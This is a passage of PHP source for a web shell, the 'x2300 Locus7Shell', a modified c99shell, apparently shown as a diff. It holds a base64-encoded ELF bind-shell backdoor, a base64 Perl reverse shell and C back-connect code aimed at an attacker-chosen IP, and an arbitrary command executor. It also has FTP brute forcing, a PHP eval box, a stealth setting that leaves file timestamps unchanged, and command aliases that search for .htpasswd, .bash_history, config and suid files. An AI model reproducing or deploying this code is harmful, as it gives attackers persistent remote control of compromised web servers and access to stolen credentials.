OwMAAOSaBAgAAAAAEADx/0ADAAAAAAAAeAAAABIAAABQAwAAAAAAAA4AAAASAAAAYQMAAEiJBAgEAAAAEQAOAHADAADUmgQIAAAAABAAFgB9AwAAAAAAADkAAAASAAAAjwMAAAAAAAAAAAAAIAAAAKMDAAAAAAAAAAAAACAAAAAAYWJpLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; + +function checkproxyhost(){ +$host = getenv("HTTP_HOST"); +$filename = '/tmp/.setan/xh'; +if (file_exists($filename)) { +$_POST['proxyhostmsg']="</br></br><center><font color=green size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>"; +} else { +$_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>"; + } +} + +if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) +{ + $ip = gethostbyname($_SERVER["HTTP_HOST"]); + $por = $_POST['backconnectport']; + if(is_writable(".")){ + cfb("shbd",$backdoor); + ex("chmod 777 shbd"); + $cmd = "./shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; + }else{ + cfb("/tmp/shbd",$backdoor); + ex("chmod 777 /tmp/shbd"); + $cmd = "./tmp/shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) +{ + if(is_writable(".")){ + cf("back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("back")) { unlink("back"); } + }else{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("/tmp/back")) { unlink("/tmp/back"); } +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) +{ + if(is_writable(".")){ + cf("backc",$back_connect_c); + ex("chmod 777 backc"); + //$blah = ex("gcc back.c -o backc"); + $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("backc")) { unlink("backc"); } + }else{ + ex("chmod 777 /tmp/backc"); + cf("/tmp/backc",$back_connect_c); + //$blah = ex("gcc -o /tmp/backc /tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } } +} + +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function cfb($fname,$text) +{ + $w_file=@fopen($fname,"w") or bberr(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function err() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>"; +} + +function bberr() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>"; +} + +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +//EoW + + + + + + + + + + + + + + + + +//Start Enumerate function +//function ENUMERATE() + +$hostname_x=php_uname(n); +$itshome = getcwd(); +$itshome = str_replace("/home/","~",$itshome); +$itshome = str_replace("/public_html","/x2300.php",$itshome); +$enumerate = "http://".$hostname_x."/".$itshome.""; + +//End Enumerate function + +//Starting calls +ini_set("max_execution_time",0); +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +$adires=""; +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0a beta"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "<a href=\"http://locus7s.com\">x2300 Locus7Shell v.".$shver."</a>: access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) + +$c99sh_updateurl = "http://locus7s.com/files/lshell_update/"; //Update server +$c99sh_sourcesurl = "http://locus7s.com/"; //Sources-server + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "<center><b>x2300 Locus7Shell Modified by #!physx^ </b></center>"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); +if (empty($dizin)) {$dizin = realpath(".");} elseif(realpath($dizin)) {$dizin = realpath($dizin);} +$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); +if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;} +$dizin = str_replace("\\\\","\\",$dizin); +$dizinispd = htmlspecialchars($dizin); +/*dizin*/ +$real = realpath($dizinispd); +$path = basename ($PHP_SELF); +function dosyayicek($link,$file) +{ + $fp = @fopen($link,"r"); + while(!feof($fp)) + { + $cont.= fread($fp,1024); + } + fclose($fp); + + $fp2 = @fopen($file,"w"); + fwrite($fp2,$cont); + fclose($fp2); +} + + + + +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c99shvars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<br><center><b>[Enumerate]</b>",$enumerate), + array("<b>[Encoder]</b>",$surl."act=encoder&d=%d"), + array("<b>[Tools]</b>",$surl."act=tools&d=%d"), + array("<b>[Proc.]</b>",$surl."act=processes&d=%d"), + array("<b>[FTP Brute]</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>[Sec.]</b>",$surl."act=security&d=%d"), + array("<b>[SQL]</b>",$surl."act=sql&d=%d"), + array("<b>[PHP-Code]</b>",$surl."act=eval&d=%d"), + array("<b>[Backdoor Host]</b>",$surl."act=shbd"), + array("<b>[Back-Connection]</b>",$surl."act=backc"), + array("<b>[milw0rm it!]</b>",$millink), + array("<b>[PHP-Proxy]</b>",$phprox), + array("<b>[Self remove]</b></center>",$surl."act=selfremove") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +/*function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +}*/ +/*function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} + +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(0); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +}*/ +/*function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=Verdana size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +}*/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://locus7s.com/\">x2300 Shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); + +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 